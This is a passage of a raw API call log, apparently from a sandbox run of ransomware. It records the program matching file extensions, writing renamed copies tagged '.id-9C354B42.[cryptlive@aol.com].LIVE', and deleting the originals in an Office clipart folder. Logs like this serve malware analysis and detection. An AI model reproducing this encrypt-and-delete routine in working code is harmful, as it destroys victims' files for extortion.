(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.837] lstrlenW (lpString=".doc") returned 4 [0151.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.837] lstrlenW (lpString=".docx") returned 5 [0151.837] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.837] lstrlenW (lpString=".pdf") returned 4 [0151.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.837] lstrlenW (lpString=".xls") returned 4 [0151.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.837] lstrlenW (lpString=".xlsx") returned 5 [0151.837] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.837] lstrlenW (lpString=".ppt") returned 4 [0151.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.837] lstrlenW (lpString=".zip") returned 4 [0151.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.837] lstrlenW (lpString=".rar") returned 4 [0151.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.837] lstrlenW (lpString=".bz2") returned 4 [0151.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.837] lstrlenW (lpString=".7z") returned 3 [0151.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.837] lstrlenW (lpString=".dbf") returned 4 [0151.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.837] lstrlenW (lpString=".1cd") returned 4 [0151.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.838] lstrlenW (lpString=".jpg") returned 4 [0151.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.838] lstrlenW (lpString=".doc") returned 4 [0151.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.838] lstrlenW (lpString=".docx") returned 5 [0151.838] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.838] lstrlenW (lpString=".pdf") returned 4 [0151.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.838] lstrlenW (lpString=".xls") returned 4 [0151.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.838] lstrlenW (lpString=".xlsx") returned 5 [0151.838] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.838] lstrlenW (lpString=".ppt") returned 4 [0151.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.838] lstrlenW (lpString=".zip") returned 4 [0151.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.838] lstrlenW (lpString=".rar") returned 4 [0151.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.838] lstrlenW (lpString=".bz2") returned 4 [0151.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.838] lstrlenW (lpString=".7z") returned 3 [0151.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.838] lstrlenW (lpString=".dbf") returned 4 [0151.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.838] lstrlenW (lpString=".1cd") returned 4 [0151.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.839] lstrlenW (lpString=".jpg") returned 4 [0151.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.839] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.839] lstrlenW (lpString="J0105292.WMF") returned 12 [0151.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.840] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14868) returned 1 [0151.840] CloseHandle (hObject=0x384) returned 1 [0151.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20 [0151.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.840] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.840] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.841] GetLastError () returned 0x0 [0151.841] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3a14, lpOverlapped=0x0) returned 1 [0151.941] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0151.943] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.943] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.943] SetEndOfFile (hFile=0x1b8) returned 1 [0152.024] CloseHandle (hObject=0x1b8) returned 1 [0152.024] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.024] SetEndOfFile (hFile=0x384) returned 1 [0152.027] CloseHandle (hObject=0x384) returned 1 [0152.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0152.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.569] lstrlenW (lpString=".doc") returned 4 [0152.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.569] lstrlenW (lpString=".docx") returned 5 [0152.569] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.569] lstrlenW (lpString=".pdf") returned 4 [0152.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.569] lstrlenW (lpString=".xls") returned 4 [0152.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.569] lstrlenW (lpString=".xlsx") returned 5 [0152.569] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.569] lstrlenW (lpString=".ppt") returned 4 [0152.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.569] lstrlenW (lpString=".zip") returned 4 [0152.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.569] lstrlenW (lpString=".rar") returned 4 [0152.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.569] lstrlenW (lpString=".bz2") returned 4 [0152.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.569] lstrlenW (lpString=".7z") returned 3 [0152.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.569] lstrlenW (lpString=".dbf") returned 4 [0152.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.569] lstrlenW (lpString=".1cd") returned 4 [0152.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.569] lstrlenW (lpString=".jpg") returned 4 [0152.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.570] lstrlenW (lpString=".doc") returned 4 [0152.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString=".docx") returned 5 [0152.570] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.570] lstrlenW (lpString=".pdf") returned 4 [0152.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString=".xls") returned 4 [0152.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.570] lstrlenW (lpString=".xlsx") returned 5 [0152.570] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.570] lstrlenW (lpString=".ppt") returned 4 [0152.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.570] lstrlenW (lpString=".zip") returned 4 [0152.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.570] lstrlenW (lpString=".rar") returned 4 [0152.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString=".bz2") returned 4 [0152.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString=".7z") returned 3 [0152.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.570] lstrlenW (lpString=".dbf") returned 4 [0152.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.570] lstrlenW (lpString=".1cd") returned 4 [0152.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0152.570] lstrlenW (lpString=".jpg") returned 4 [0152.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.571] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.571] lstrlenW (lpString="J0105336.WMF") returned 12 [0152.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0152.571] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2900) returned 1 [0152.571] CloseHandle (hObject=0x1dc) returned 1 [0152.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20 [0152.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0152.572] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.572] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.573] GetLastError () returned 0x0 [0152.573] ReadFile (in: hFile=0x1dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xb54, lpOverlapped=0x0) returned 1 [0152.606] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xb60, lpOverlapped=0x0) returned 1 [0152.607] ReadFile (in: hFile=0x1dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.607] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.607] SetEndOfFile (hFile=0x384) returned 1 [0152.608] CloseHandle (hObject=0x384) returned 1 [0152.608] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.608] SetEndOfFile (hFile=0x1dc) returned 1 [0152.610] CloseHandle (hObject=0x1dc) returned 1 [0152.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0152.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.611] lstrlenW (lpString=".doc") returned 4 [0152.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString=".docx") returned 5 [0152.612] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.612] lstrlenW (lpString=".pdf") returned 4 [0152.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString=".xls") returned 4 [0152.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.612] lstrlenW (lpString=".xlsx") returned 5 [0152.612] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.612] lstrlenW (lpString=".ppt") returned 4 [0152.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.612] lstrlenW (lpString=".zip") returned 4 [0152.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.612] lstrlenW (lpString=".rar") returned 4 [0152.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString=".bz2") returned 4 [0152.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString=".7z") returned 3 [0152.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.612] lstrlenW (lpString=".dbf") returned 4 [0152.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.612] lstrlenW (lpString=".1cd") returned 4 [0152.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.612] lstrlenW (lpString=".jpg") returned 4 [0152.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.612] lstrlenW (lpString=".doc") returned 4 [0152.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.612] lstrlenW (lpString=".docx") returned 5 [0152.612] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.613] lstrlenW (lpString=".pdf") returned 4 [0152.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.613] lstrlenW (lpString=".xls") returned 4 [0152.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.613] lstrlenW (lpString=".xlsx") returned 5 [0152.613] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.613] lstrlenW (lpString=".ppt") returned 4 [0152.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.613] lstrlenW (lpString=".zip") returned 4 [0152.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.613] lstrlenW (lpString=".rar") returned 4 [0152.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.613] lstrlenW (lpString=".bz2") returned 4 [0152.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.613] lstrlenW (lpString=".7z") returned 3 [0152.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.613] lstrlenW (lpString=".dbf") returned 4 [0152.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.613] lstrlenW (lpString=".1cd") returned 4 [0152.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0152.613] lstrlenW (lpString=".jpg") returned 4 [0152.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.613] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.613] lstrlenW (lpString="J0105360.WMF") returned 12 [0152.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.649] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8860) returned 1 [0152.649] CloseHandle (hObject=0x1e0) returned 1 [0152.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20 [0152.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.695] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.695] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0152.696] GetLastError () returned 0x0 [0152.696] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x229c, lpOverlapped=0x0) returned 1 [0152.748] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x22a0, lpOverlapped=0x0) returned 1 [0152.749] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.749] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.749] SetEndOfFile (hFile=0x1fc) returned 1 [0152.749] CloseHandle (hObject=0x1fc) returned 1 [0152.749] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.749] SetEndOfFile (hFile=0x1b8) returned 1 [0152.752] CloseHandle (hObject=0x1b8) returned 1 [0152.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0152.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0152.753] lstrlenW (lpString=".doc") returned 4 [0152.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.753] lstrlenW (lpString=".docx") returned 5 [0152.753] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.753] lstrlenW (lpString=".pdf") returned 4 [0152.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.753] lstrlenW (lpString=".xls") returned 4 [0152.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.753] lstrlenW (lpString=".xlsx") returned 5 [0152.753] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.753] lstrlenW (lpString=".ppt") returned 4 [0152.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.753] 